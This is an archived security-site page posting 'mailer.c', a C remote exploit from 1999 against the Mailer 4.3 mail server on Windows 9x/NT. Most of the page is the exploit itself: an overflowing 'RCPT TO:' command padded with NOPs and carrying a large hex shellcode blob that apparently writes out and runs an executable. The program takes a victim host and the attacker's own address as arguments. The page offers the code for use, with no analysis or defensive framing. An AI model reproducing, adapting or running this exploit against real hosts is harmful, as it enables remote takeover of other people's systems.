what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mailer.c

mailer.c
Posted Mar 2, 2000
Authored by Cybz | Site hack.co.za

Remote exploit for Mailer 4.3 - Win 9x/NT.

tags | exploit, remote
SHA-256 | 8489a9fa3a8de6bd2c521aaa002ea3a9880cd2f51635511e93ad7c1dc7c75f96

mailer.c

Change Mirror Download
/*

Remote exploit for Mailer 4.3 - Win 9x/NT (PRIVATE DO NOT DISTRIBUTE)
Author: Cybz (8. dec '99)
Try offsets +600 to +800

*/


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>

#define BUF_SIZE 3412
#define PORT 110
#define OFFSET 674

char shellcode[701] = {
0xEB,0x58,0x5F,0x32,0xC0,0x8B,0xDF,0x33,0xC9,0xB1,0x09,0xFE,0xC1,0x03,0xD9,0x88,
0x03,0x88,0x47,0x16,0x88,0x47,0x21,0x88,0x47,0x28,0x88,0x47,0x30,0x88,0x47,0x35,
0x88,0x47,0x41,0x88,0x47,0x47,0x88,0x47,0x4E,0x88,0x47,0x55,0x88,0x47,0x58,0x88,
0x47,0x5E,0x88,0x47,0x65,0x88,0x47,0x6A,0x8B,0xC7,0x50,0xB8,0x50,0x77,0xF7,0xBF,
0xFF,0xD0,0x89,0x47,0x6E,0x8B,0xC7,0x33,0xC9,0xB1,0x0B,0x03,0xC1,0x50,0xB8,0x50,
0x77,0xF7,0xBF,0xFF,0xD0,0x89,0x47,0x72,0xEB,0x02,0xEB,0x72,0x8B,0xC7,0x33,0xC9,
0xB1,0x17,0x03,0xC1,0x50,0xFF,0x77,0x72,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF0,0x8B,0xC7,0x33,0xC9,0xB1,0x82,0x03,0xC1,0x50,0x33,0xC0,0xB0,0x02,0x50,0xFF,
0xD6,0x57,0x33,0xC9,0xB1,0x82,0x03,0xF9,0x33,0xC9,0x66,0xB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0x65,0x6E,0x2C,0x66,0x77,0x72,0x69,0x74,0x65,0x2C,0x66,0x63,
0x6C,0x6F,0x73,0x65,0x2C,0x77,0x62,0x2C,0x78,0x2E,0x65,0x78,0x65,0x2C,0x73,0x79,
0x73,0x74,0x65,0x6D,0x2C,0x65,0x78,0x69,0x74,0x2C,0x2C,0x2C,0x2C,0x00 };


int main(int argc,char *argv[])
{
char buf[BUF_SIZE];
struct hostent *info;
struct sockaddr_in server;
int fd,i;
unsigned int ip,port,yourip;

if (argc < 3) {
printf("usage: %s <victim> <you>\n", argv[0]);
exit(1);
}

if ((yourip=inet_addr(argv[2]))==-1){
if ((info=gethostbyname(argv[2]))==NULL){
printf("Unable to resolve local hostname.\n");
exit(1);
}
memcpy((caddr_t)&yourip,info->h_addr,info->h_length);
}

bzero(&server, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
if ((server.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((info=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified VictimHost.\n");
exit(1);
}
server.sin_family = info->h_addrtype;
memcpy((caddr_t)&server.sin_addr.s_addr,info->h_addr,info->h_length);
}

if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}

if(connect(fd, (struct sockaddr *)&server, sizeof(server)) < 0){
perror("connect"); exit(0);
}
while((i=read(fd,buf,sizeof(buf))) > 0){
buf[i]=0;
if(strchr(buf,'\n')!=NULL) break;
}
memset(buf,0x90,BUF_SIZE);
for (i=267;i<271;i++) buf[i]=0x30;

ip=htonl(yourip);
memcpy(buf+OFFSET+4,shellcode,strlen(shellcode));

buf[BUF_SIZE]=0;
sprintf(buf,"RCPT TO: %s\r\n",buf);
write(fd,buf,strlen(buf));
close(fd);
}
/* www.hack.co.za */
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close